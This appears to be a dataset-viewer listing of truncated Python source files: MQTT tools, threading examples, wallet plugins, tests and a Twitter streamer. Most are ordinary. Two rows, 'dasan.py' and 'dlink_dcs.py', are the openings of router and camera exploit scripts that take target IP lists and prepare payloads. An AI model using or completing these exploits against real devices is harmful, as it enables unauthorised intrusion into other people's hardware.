source stringlengths 3 86 | python stringlengths 75 1.04M |
|---|---|
adsb-mqtt.py | #!/usr/bin/env python3
#
# Copyright (c) 2020 Johan Kanflo (github.com/kanflo)
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights... |
task12.py | from tkinter import *
import threading
import time
root = Tk()
root.geometry("1000x500")
root.resizable(0, 0)
canvas = Canvas(root, width=1000, height=500)
canvas.pack()
square_1 = canvas.create_polygon((0, 0), (1000, 0), (1000, 500), (0, 500), fill="white")
def main():
start_threads()
root.mainloop()
... |
threaded_sizer.py | import os, sys
import threading
import Queue
from winsys import fs
def sizer (requests, results):
while True:
root = requests.get ()
if root is None:
break
results.put ((root, sum (f.size for f in fs.flat (root))))
if __name__ == '__main__':
if len (sys.argv) > 1:
root =... |
keepkey.py | from binascii import hexlify, unhexlify
import traceback
import sys
from electrum.util import bfh, bh2u, UserCancelled
from electrum.bitcoin import (b58_address_to_hash160, xpub_from_pubkey,
TYPE_ADDRESS, TYPE_SCRIPT,
is_segwit_address)
from electrum import c... |
system.py | import argparse
import os, sys
##################################################################################
def mkdir(dirname):
os.system(f'mkdir -p {dirname}')
def shell(cmd, verbose=True):
if verbose: print(cmd)
os.system(cmd)
def ask(question, options=['y', 'n']):
ans = None
while not op... |
DockerRunner.py | import docker
from threading import Thread
from time import time as _time
from time import sleep as _sleep
class DockerRunner:
"""
This class provides the container interface for Docker.
"""
def __init__(self, logger=None):
"""
Inputs: config dictionary, Job ID, and optional logger
... |
column_mat_bit_rec.py | #!/usr/bin/python
#
# This file is part of PyRQA.
# Copyright 2015 Tobias Rawald, Mike Sips.
"""
RQA, Fixed Radius, OpenCL, ColumnMatBitRec
"""
import numpy as np
import os
import pyopencl as cl
import threading
import Queue
from ....abstract_classes import AbstractRunnable
from ....opencl import OpenCL
from ....pr... |
animated_plot_async.py | import PySimpleGUI as sg
import matplotlib.pyplot as plt
from matplotlib import style
import matplotlib.animation as animation
from matplotlib.backends.backend_tkagg import FigureCanvasTkAgg
from random import randint
import time
import threading
import asyncio
# Usage of MatPlotLib with matplotlib.animation for bette... |
test_pool.py | import threading
import time
from sqlalchemy import pool, select, event
import sqlalchemy as tsa
from sqlalchemy import testing
from sqlalchemy.testing.util import gc_collect, lazy_gc
from sqlalchemy.testing import eq_, assert_raises, is_not_
from sqlalchemy.testing.engines import testing_engine
from sqlalchemy.testing... |
players.py |
import json
import jsonpickle # https://jsonpickle.github.io/#module-jsonpickle
from threading import Thread, Lock
from typing import List, Dict, Type
from .player import Player
# store a list of players with dicts of items, stats
# consts
P_DATA = "player_data.json"
P_DATA_BACKUP = "player_data_backup.json"
cla... |
dataframe_test_util.py | # Copyright 2021 Zilliz. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agree... |
race.py | #!/usr/bin/env python3
# -*- coding:utf-8 -*-
# race.py
# A simple example of a race condition
import threading # --- Thread-based parallelism
x = 0 # A shared value
COUNT = 1000000
def addition():
global x
for i in range(COUNT):
x += 1
def subtraction():
global x
for i in range(COUNT):
... |
http.py | from __future__ import print_function
from builtins import str
from builtins import object
import logging
import base64
import sys
import random
import string
import os
import ssl
import time
import copy
import json
import sys
from pydispatch import dispatcher
from flask import Flask, request, make_response, send_from_... |
core.py | """
https://medium.com/@sweetpalma/gooact-react-in-160-lines-of-javascript-44e0742ad60f
"""
import functools
import wx
from inspect import isclass
from rewx.dispatch import mount, update
from rewx.widgets import mount as _mount
from rewx.widgets import update as _update
mount.merge_registries(_mount._registry)
update... |
client.py | import urllib.request
import threading
import json
import wiringpi as pi , time
BASE_URL = "http://ec2-13-114-247-66.ap-northeast-1.compute.amazonaws.com"
pi.wiringPiSetupGpio()
class Motor:
def __init__(self, OUTPUT_PINS, TIME_SLEEP):
self.OUTPUT_PINS = OUTPUT_PINS
self.TIME_SLEEP = TIME_SLEEP
... |
common.py | #
# Copyright (c) 2017 Electronic Arts Inc. All Rights Reserved
#
from __future__ import absolute_import
import threading
import subprocess
import traceback
class PopenWithTimeout(object):
"""
Enables to run subprocess commands in a different thread with TIMEOUT option.
based on https://gist.github.com/k... |
unicorn.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Program for LEGO Robot 5th Unit(Unicorn)
# by Keita Motegi
#
# LEGO Robot consists of LEGO Mindstorms NXT components and Dexter Industries BrickPi.
# Technology depends on:
#
# BrickPi3
# https://www.dexterindustries.com/BrickPi/
# https://github.com/DexterInd/BrickPi3... |
quantize_net_YOLO_tiny_BAC_multiprocess.py | #!/usr/bin/env python
# --------------------------------------------------------
# Quantize Fast R-CNN based Network
# Written by Chia-Chi Tsai
# --------------------------------------------------------
"""Quantize a Fast R-CNN network on an image database."""
import os
os.environ['GLOG_minloglevel'] = '2'
import _... |
bigtable_emulator.py | # Copyright 2021 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, s... |
py3bot.py | import telnetlib
import socket
import threading
import time
import re
from constants import *
class Bot(object):
def __init__(self, username, password, host="godwars2.org", port=3000, output_all=True, botname='Bot', clientname="PYBOT"):
self.host=host
self.port=port
self.userna... |
hogwild_trainer.py | #!/usr/bin/env python3
# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved
from typing import Any, List, Tuple
import torch
import torch.multiprocessing as mp
from pytext.common.constants import Stage
from pytext.config import PyTextConfig
from pytext.config.component import create_trainer
from pyte... |
zephyr.py | # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not u... |
pipeline.py | #!/usr/bin/env python
'''
wbutil/pipeline.py
Helpers which wrap standard library threaded queue.
Will Badart <wbadart@live.com>
created: JAN 2018
'''
from collections import OrderedDict
from queue import Queue as StdQueue
from threading import Event, Lock, Thread
from typing import Callable, Dict, Hashable, Iterabl... |
server.py | #!/usr/bin/env python
import Queue
import logging
import socket
import sys
import threading
import time
from hashlib import sha1
from neighbors import Neighbors, find_neighbors, send_request
logging.basicConfig(filename='debug.log', level=logging.ERROR)
class Server(object):
"""Server class
Implements all... |
pyminer.py | #!/usr/bin/python
#
# Copyright (c) 2011 The Bitcoin developers
# Distributed under the MIT/X11 software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
#
import time
import json
import pprint
import hashlib
import struct
import re
import base64
import httplib
import... |
amq.py | """
AMQ Class to run amq specific tests
"""
import logging
import os
import tempfile
import time
from subprocess import run, CalledProcessError
from threading import Thread
from ocs_ci.ocs.exceptions import (ResourceWrongStatusException, CommandFailed)
from ocs_ci.ocs.ocp import OCP, switch_to_default_rook_cluster_pro... |
example1.py | # Example 1: Workers output concurrently
import threading, time
def worker(name):
for j in range(100):
print("Worker {} - {}".format(name, j))
time.sleep(0.5)
threads = []
for i in range(5):
t = threading.Thread(target=worker, args=(i,))
threads.append(t)
t.start()
|
custom.py | # --------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# --------------------------------------------------------------------... |
test_debugger.py | # coding: utf-8
'''
The idea is that we record the commands sent to the debugger and reproduce them from this script
(so, this works as the client, which spawns the debugger as a separate process and communicates
to it as if it was run from the outside)
Note that it's a python script but it'll spawn a ... |
pig_chase_baseline.py | # Copyright (c) 2017 Microsoft Corporation.
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated
# documentation files (the "Software"), to deal in the Software without restriction, including without limitation the
# rights to use, copy, modify, merge, publis... |
applications_test.py | import pytest
import random
import os
from multiprocessing import Process, Queue
from keras.utils.test_utils import keras_test
from keras.utils.test_utils import layer_test
from keras.models import Sequential
from keras import applications
from keras import backend as K
pytestmark = pytest.mark.skipif(
os.environ... |
process.py | # -*- coding: utf-8 -*-
# Import python libs
from __future__ import absolute_import, with_statement
import os
import sys
import time
import types
import signal
import logging
import threading
import contextlib
import subprocess
import multiprocessing
import multiprocessing.util
# Import salt libs
import salt.default... |
avimetrics.py | #!/usr/bin/python
version = 'v2019-09-03'
#########################################################################################
# #
# #
# ... |
webserver.py | import threading
import urlparse
import BaseHTTPServer
import SimpleHTTPServer
from component import Component
WEBSERVER_PORT = 80
class Webserver(Component):
class WebHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
def log_message(self, format, *args):
pass
def do_GET(self):
... |
custom.py | # --------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# --------------------------------------------------------------------... |
example_new_surface.py | """
Demonstrate that we can change the surface, and its size, as we go.
Run a simple animation in the Cairo surface, on a thread.
Then run a server on localhost:5902 / localhost:2 which should display the animation.
Every 20 frames, the surface is recreated at a different size.
Each time it is recreated, we must noti... |
server.py | import socket
import sys
import threading
from woker import Worker
class Server:
def __init__(self,ip,port,n_threads,timeout):
self.ip=ip
self.n_threads=n_threads
self.port = int(port)
self.timeout=timeout
def start_listening(self):
sock=socket.socket(socket... |
migui.py | #!/usr/bin/env python3
import sys
sys.path.append('..')
sys.path.append('C:/msys64/mingw64/bin')
import os
os.environ['PATH'] = 'C:/msys64/mingw64/bin' + os.pathsep + os.environ['PATH']
import os
import logging
import threading
import time
import ble_temperature_sensor
import atorlib
# GUI
import tkinter as tk
impor... |
V5-core.py | ##
# V1 - a window with a button which opens up another window with a video playing
# V2 - the basic interface works with buttons which link to video streams
# - way found to change button focus
# V3 - added keyboard navigation
# V4 - need to create IR interface - Opi-gpio + thread + queue
# V5 - Intergrate pyqt5 ... |
main.py | from threading import *
import json
import socket
import netifaces as ni
import time
import select
import os
import bisect
import base64
RWND = 10
PORT = 12345
BUFFER_SIZE = 10240
HOSTNAME = socket.gethostname()
x = ni.gateways()
y = x['default'][2][1]
LOCAL_IP = ni.ifaddresses(y)[ni.AF_INET][0]['addr']
TYPE1_DICT_HEA... |
server1.py | #!/usr/bin/env python
import sys
import io
import os
import shutil
from subprocess import Popen, PIPE
from string import Template
from struct import Struct
from threading import Thread
from time import sleep, time
from http.server import HTTPServer, BaseHTTPRequestHandler
from wsgiref.simple_server import make_server
... |
Yield.py | # This program demonstrates how to use yield in pything while trying to generate fibonacci numbers
import threading
import multiprocessing
a=1
b=2
c=a+b
iterator=1
print("0")
print("0")
print(a)
print(b)
while(iterator<10):
print(c)
a=b
b=c
c=a+b
iterator+=1
print("\nUsing Yield\n")
print("0"... |
ami.py | import logging
import time
from importlib import import_module
from threading import Thread
import numpy as np
from ophyd.device import Device, Component as Cpt, Staged
from ophyd.signal import Signal
from ophyd.status import Status
from ophyd.utils.errors import ReadOnlyError
from toolz.itertoolz import partition
fr... |
miniterm.py | #!/usr/bin/env python
#
# Very simple serial terminal
#
# This file is part of pySerial. https://github.com/pyserial/pyserial
# (C)2002-2017 Chris Liechti <cliechti@gmx.net>
#
# SPDX-License-Identifier: BSD-3-Clause
from __future__ import absolute_import
import codecs
import os
import sys
import thre... |
miniterm.py | #!C:\MicroPythonProjects\ch2\pyboard_1_1\asyncio\venv\Scripts\python.exe
#
# Very simple serial terminal
#
# This file is part of pySerial. https://github.com/pyserial/pyserial
# (C)2002-2015 Chris Liechti <cliechti@gmx.net>
#
# SPDX-License-Identifier: BSD-3-Clause
import codecs
import os
import sys
import threadi... |
screenrec.py | import numpy
import cv2
from threading import Thread
from screencapture import *
from audiocapture import *
import tkinter as tk
from tkinter.font import Font
class ScreenRecorder(object):
def __init__(self):
self.audio = CaptureAudio()
self.video = ScreenCapture()
def startRecoding(self):
... |
luminosity.py | from __future__ import division
import logging
import os
from os import kill, getpid
from sys import version_info
try:
from Queue import Empty
except:
from queue import Empty
from time import time, sleep
from threading import Thread
# @modified 20190522 - Task #3034: Reduce multiprocessing Manager list usage
# ... |
coinmarketcap.py | import sys,helper
import schedule
import datetime,time,scrapy
import scrapy.crawler as crawler
#from scrapy import signals
#from scrapy.xlib.pydispatch import dispatcher
from multiprocessing import Process, Queue
from twisted.internet import reactor
interval = 1
if len(sys.argv) > 1:
try:
interval = int(sys.argv... |
array.py | # from multiprocessing import Pool, Array, Process
from lithops.multiprocessing import Array, Process, Pool
def replace(index, value):
a[index] = value
def add(index, value):
a[index] += value
def to_upper():
my_str.value.upper()
if __name__ == '__main__':
x = [4, 8, 15, 16, 23, 42]
a = Arra... |
threads.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Copyright (c) 2014-2016 pocsuite developers (https://seebug.org)
See the file 'docs/COPYING' for copying permission
"""
import time
import threading
import traceback
from thread import error as threadError
from pocsuite.lib.core.data import logger
from pocsuite.lib.c... |
onto_manager.py | """Module managing working with ontology e.g. creating queries and classes."""
import tempfile
from multiprocessing import Process
from subprocess import DEVNULL, check_call
import owlready2
from owlready2 import (
ConstrainedDatatype,
PropertyChain,
sync_reasoner,
sync_reasoner_pellet,
)
from PySide2.... |
ctpGateway.py | # encoding: UTF-8
"""
ctp的gateway接入
1、增加通达信行情(指数行情)的订阅
2、增加支持Bar行情的订阅
3、增加支持自定义套利合约的订阅
"""
import os,sys
import json
import redis
# 加载经booster编译转换的SO API库
from vnpy.api.ctp.vnctpmd import MdApi
from vnpy.api.ctp.vnctptd import TdApi
from vnpy.trader.vtConstant import *
from vnpy.trader.vtGateway import *
from vnp... |
agent_client.py | # Copyright (c) 2018 DDN. All rights reserved.
# Use of this source code is governed by a MIT-style
# license that can be found in the LICENSE file.
import Queue
from collections import defaultdict
import json
import socket
import threading
import traceback
import datetime
import sys
from chroma_agent.plugin_manager ... |
__init__.py | import os
import subprocess
import threading
from multiprocessing import Process
try:
from websockets.exceptions import ConnectionClosed
from websockets import serve as websocket_serve
except ImportError:
from websockets import ConnectionClosed, serve as websocket_serve
from platypush.backend import Back... |
monitoring.py | """
Copyright (c) 2015 SONATA-NFV
ALL RIGHTS RESERVED.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or... |
01_case.py | import socket
from socket import *
from math import *
socket = "abc"
server_socket = socket.socket(AF_INET, SOCK_STREAM)
# tcp socket 服务端
socket = socket()
socket.bind()
socket.listen()
cli_socket = socket.accept()
while True:
p = Process(target=fun, args=())
p.start()
cli_socket.close()
def fun(cli_so... |
test_socket.py | import unittest
from test import support
import errno
import io
import itertools
import socket
import select
import tempfile
import time
import traceback
import queue
import sys
import os
import array
import platform
import contextlib
from weakref import proxy
import signal
import math
import pickle
import struct
impo... |
acquisition_and_plot.py | from bitlib import *
import pandas as pd
import numpy as np
from matplotlib import pyplot as plt
from matplotlib import animation
import argparse
import time
frame = [np.zeros(12288)]
# def plot():
# parser = argparse.ArgumentParser(
# description='Plot waveforms from a csv file. Files from echos, featur... |
serve.py | # -*- coding: utf-8 -*-
from __future__ import print_function
import abc
import argparse
import importlib
import json
import logging
import multiprocessing
import os
import platform
import signal
import socket
import subprocess
import sys
import threading
import time
import traceback
import urllib
import uuid
from co... |
common.py | """Test the helper method for writing tests."""
import asyncio
import collections
from collections import OrderedDict
from contextlib import contextmanager
from datetime import timedelta
import functools as ft
from io import StringIO
import json
import logging
import os
import pathlib
import threading
import time
from ... |
dasan.py | #!/usr/bin/python
#zonehax is big 0 day exploiter 10/10
import sys, socket, json, time, ssl, struct, os
from threading import Thread
if len(sys.argv) < 2:
print "Usage: python "+sys.argv[0]+" <list>"
sys.exit()
port = 8080
buf = 4096
pre_pl0 = 0x2ad0c000
pre_pl2 = pre_pl0 + 0x00115d40
pl2 = struct.pack("... |
dag_processing.py | # -*- coding: utf-8 -*-
#
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
#... |
domain-name-generator.py | """Uses brand new features of Python 3"""
import argparse
import threading
from concurrent.futures import ThreadPoolExecutor
import os
import socket
import sys
import time
try:
from __version__ import __version__
except ModuleNotFoundError:
from domain_name_enerator.__version__ import __version__
def getInput... |
dlink_dcs.py | # D-LINK DCS-7410 "RonBurgundy" Vulnerability
import os
import sys
import time
import threading
import requests
ips = open(sys.argv[1], "r").read().splitlines()
headers = {
"User-Agent" : "Y0uArEb1GgAY/1.0",
}
f = 0
s = 0
def exploit(ron):
try:
global s
url = 'http://'+ ron +... |
core.py | import os
import sys
import warnings
from threading import Thread
from contextlib import suppress
from astropy import units as u
from panoptes.pocs.base import PanBase
from panoptes.pocs.observatory import Observatory
from panoptes.pocs.state.machine import PanStateMachine
from panoptes.utils import current_time
from... |
server.py | import socket
import time
import requests
import socketserver
import sys
import threading
from datetime import date
class Service(socketserver.BaseRequestHandler):
def ask_creds(self):
self.send(b"Welcome To Yurivich's Messaging System... This program is still in development, but if you want to contribute... |
process.py | """
Functions for daemonizing and otherwise modifying running processes
"""
import contextlib
import copy
import errno
import functools
import io
import json
import logging
import multiprocessing
import multiprocessing.util
import os
import queue
import signal
import socket
import subprocess
import sys
import threadi... |
wyzesense.py | from builtins import bytes
from builtins import str
import os
import time
import struct
import threading
import datetime
import binascii
import logging
log = logging.getLogger(__name__)
def bytes_to_hex(s):
if s:
return binascii.hexlify(s)
else:
return "<None>"
def checksum_from_bytes(s):
... |
mass_test_simple_ai.py | import argparse
import sys
import os
from pong_testbench import PongTestbench
from multiprocessing import Process
from matplotlib import font_manager
from time import sleep
parser = argparse.ArgumentParser()
parser.add_argument("--dir", type=str, help="Directory with agents.")
parser.add_argument("--render", "-r", act... |
kafka_twitterstream_producer.py | import pykafka
import json
import tweepy
from tweepy import OAuthHandler
from tweepy import Stream
from tweepy.streaming import StreamListener
import twitter_credentials
import threading
import time
import dateutil.parser as parser
from WatchDogs_MongoWrapper import MongoWrapper
import random
#TWITTER API CONFIGURATIO... |
tcpportscan.py | #!/usr/bin/env python
# -*- coding:utf-8 -*-
#
# @name : TcpPortScannar
# @url : http://github.com/MasterBurnt
# @author : MasterBurnt
#Libraries
import threading
import socket
import datetime,os,time,sys
from colorama import Fore,init,Style
#C&B&I
init()
c1 = Style.BRIGHT + Fore.LIGHTWHITE_EX
c2 = Style.BRI... |
vnkorbit.py | # encoding: utf-8
import urllib
import hashlib
import json
import requests
import hmac
import time
from datetime import datetime
from time import time, sleep , mktime
from Queue import Queue, Empty
from threading import Thread
import urllib
import websocket
import inspect
import requests
import cerberus
korbit_ho... |
servers.py | # Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See LICENSE in the project root
# for license information.
from __future__ import absolute_import, division, print_function, unicode_literals
import os
import subprocess
import sys
import threading
import time
import debugp... |
all.py | from utlis.rank import setrank,isrank,remrank,remsudos,setsudo, GPranks,IDrank
from utlis.send import send_msg, BYusers, GetLink,Name,Glang,getAge
from utlis.locks import st,getOR
from utlis.tg import Bot
from config import *
from pyrogram import ReplyKeyboardMarkup, InlineKeyboardMarkup, InlineKeyboardButton
import t... |
LoadCell.py | import socket
import time, pdb
import csv
from telnetlib import Telnet
import crc16
from datetime import datetime
import threading
import multiprocessing
# SENSOR_IP_ADDRESS = '192.168.1.101'
# SENSOR_TELNET_PORT = 23
# SENSOR_UDPout_PORT = 57229 #magic number #Use 'IP' command over telnet to figure out where this sh... |
cleanup.py | import tempfile
import argparse
import logging
import datetime
import threading
import os
import re
from botocore.exceptions import ClientError
from ocs_ci.framework import config
from ocs_ci.ocs.constants import CLEANUP_YAML, TEMPLATE_CLEANUP_DIR
from ocs_ci.ocs.exceptions import CommandFailed
from ocs_ci.utility.u... |
pncursortablemodel.py | # -*- coding: utf-8 -*-
"""
Defines PNCursorTableModel class.
"""
import math
import threading
import time
import itertools
import locale
from datetime import date
from PyQt5 import QtCore, QtGui, Qt # type: ignore
from PyQt5.QtCore import pyqtSignal # type: ignore
from PyQt5 import (
QtWidgets,
) # type: ignor... |
slave_reply_all_read_all.py | import serial
from pymodbus.factory import ClientDecoder
from pymodbus.factory import ServerDecoder
#import pymodbus
#from pymodbus.transaction import ModbusRtuFramer
#from pymodbus.utilities import hexlify_packets
#from binascii import b2a_hex
from time import sleep
import sys
from pymodbus.device import ModbusDeviceI... |
io.py | # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not u... |
punctuation_capitalization_dataset.py | # Copyright (c) 2020, NVIDIA CORPORATION. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appli... |
test_streams.py | """Tests for streams.py."""
import gc
import os
import queue
import pickle
import socket
import sys
import threading
import unittest
from unittest import mock
from test import support
try:
import ssl
except ImportError:
ssl = None
import asyncio
from test.test_asyncio import utils as test_utils
def tearDown... |
watchdog.py | # -*- coding: utf-8 -*-
from kazoo.client import KazooClient
import os
import sys
import logging
import time
import signal
from multiprocessing import Process
main_dir = "/root/V3/project"
signal_dir = '/signal/ctoblog'
task_type = "ctoblog"
def run_proc():
os.chdir(main_dir +"ctoblog/ctoblog/spiders")
#arg = ... |
stats.py | #
from __future__ import absolute_import
import json
import platform
import subprocess
import threading
import time
from typing import Dict, List, Optional, Union
import psutil
import wandb
from wandb import util
from wandb.vendor.pynvml import pynvml
from . import tpu
from ..interface.interface import BackendSender... |
with_notebook.py | import os
import time
from threading import Thread
from jupyter_core.paths import jupyter_data_dir
import notebook
import IPython
from IPython.display import display, Javascript
from .vpython import GlowWidget, baseObj, canvas
from .rate_control import ws_queue
from . import __version__
import tornado.httpserver
imp... |
metricscollection.py | #!/opt/local/bin/python3
from requests.auth import HTTPBasicAuth
import _pickle as pickle
import os
import sys
import traceback
import logging
import base64
from datetime import datetime
from multiprocessing import Process
import socket
import syslog
import time
import yaml
import json
import urllib3
import requests
... |
wallet_multiwallet.py | #!/usr/bin/env python3
# Copyright (c) 2017-2020 The Wflscoin Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
"""Test multiwallet.
Verify that a wflscoind node can load multiple wallet files
"""
from decimal import... |
index.py | """Routines related to PyPI, indexes"""
import sys
import os
import re
import gzip
import mimetypes
import posixpath
import pkg_resources
import random
import socket
import ssl
import string
import zlib
try:
import threading
except ImportError:
import dummy_threading as threading
from pip.log import logger
f... |
pyminer.py | #!/usr/bin/python
#
# Copyright (c) 2011 The Bitcoin developers
# Distributed under the MIT/X11 software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
#
import time
import json
import pprint
import hashlib
import struct
import re
import base64
import httplib
import... |
proc_w_queue.py | #!/usr/bin/env python
"""
Use processes and Netmiko to connect to each of the devices. Execute
'show version' on each device. Use a queue to pass the output back to the parent process.
Record the amount of time required to do this.
"""
from __future__ import print_function, unicode_literals
from multiprocessing import ... |
_kit2fiff_gui.py | """Mayavi/traits GUI for converting data from KIT systems."""
# Authors: Christian Brodbeck <christianbrodbeck@nyu.edu>
#
# License: BSD-3-Clause
from collections import Counter
import os
import queue
import sys
from threading import Thread
import numpy as np
from mayavi.core.ui.mayavi_scene import MayaviScene
from... |
wsdump.py | #!/home/darren/src/cluster-api/tests/integration/.venv/bin/python
import argparse
import code
import six
import sys
import threading
import websocket
try:
import readline
except:
pass
OPCODE_DATA = (websocket.ABNF.OPCODE_TEXT, websocket.ABNF.OPCODE_BINARY)
ENCODING = getattr(sys.stdin, "encoding", "").lower(... |
test_context_manager.py | import threading
from ddtrace.context import Context
from ddtrace.internal.context_manager import DefaultContextManager
from ddtrace.span import Span
from ..base import BaseTestCase
class TestDefaultContextManager(BaseTestCase):
"""
Ensures that a ``ContextManager`` makes the Context
local to each threa... |
test_browser.py | # coding=utf-8
# Copyright 2013 The Emscripten Authors. All rights reserved.
# Emscripten is available under two separate licenses, the MIT license and the
# University of Illinois/NCSA Open Source License. Both these licenses can be
# found in the LICENSE file.
import argparse
import json
import multiprocessing
imp... |
test_output.py | import subprocess
import sys
import pytest
import re
import ray
from ray._private.test_utils import run_string_as_driver_nonblocking
@pytest.mark.skipif(sys.platform == "win32", reason="Failing on Windows.")
def test_autoscaler_infeasible():
script = """
import ray
import time
ray.init(num_cpus=1)
@ray.remote... |
proton_test.py | #!/usr/bin/env python
# Copyright (c) 2017-2019 The Zcash developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or https://www.opensource.org/licenses/mit-license.php.
#
# Test Proton interface (provides AMQP 1.0 messaging support).
#
# Requirements:
# Python library for Qpid P... |
quote_sample.py | import time
from tcoreapi_mq import *
import tcoreapi_mq
import threading
g_QuoteZMQ = None
g_QuoteSession = ""
#實時行情回補
def OnRealTimeQuote(symbol):
print("商品:", symbol["Symbol"], "成交價:",symbol["TradingPrice"], "開:", symbol["OpeningPrice"], "高:", symbol["HighPrice"], "低:", symbol["LowPrice"])
#行情消息接... |
release.py | #!/usr/bin/python
import re
import sys
import os
import os.path
import subprocess
import shutil
from datetime import *
from multiprocessing import Process
from utils import *
try:
from xml.etree.ElementTree import ElementTree
except:
prettyprint('''
Welcome to the Infinispan Server Release Script.
... |
safe_t.py | from binascii import hexlify, unhexlify
import traceback
import sys
from electrum.util import bfh, bh2u, versiontuple, UserCancelled, UserFacingException
from electrum.bitcoin import TYPE_ADDRESS, TYPE_SCRIPT
from electrum.bip32 import BIP32Node
from electrum import constants
from electrum.i18n import _
from electrum.... |
nullinux.py | #!/usr/bin/env python3
# Author: m8r0wn
# License: GPL-3.0
# Python2/3 compatibility
from __future__ import print_function
import re
import sys
import argparse
import datetime
from os import path
from time import sleep
from threading import Thread, activeCount
if sys.version_info[0] < 3:
from commands import get... |
streaming.py | # Tweepy
# Copyright 2009-2010 Joshua Roesslein
# See LICENSE for details.
# Appengine users: https://developers.google.com/appengine/docs/python/sockets/#making_httplib_use_sockets
from __future__ import absolute_import, print_function
import logging
import re
import requests
import sys
from requests.exceptions imp... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.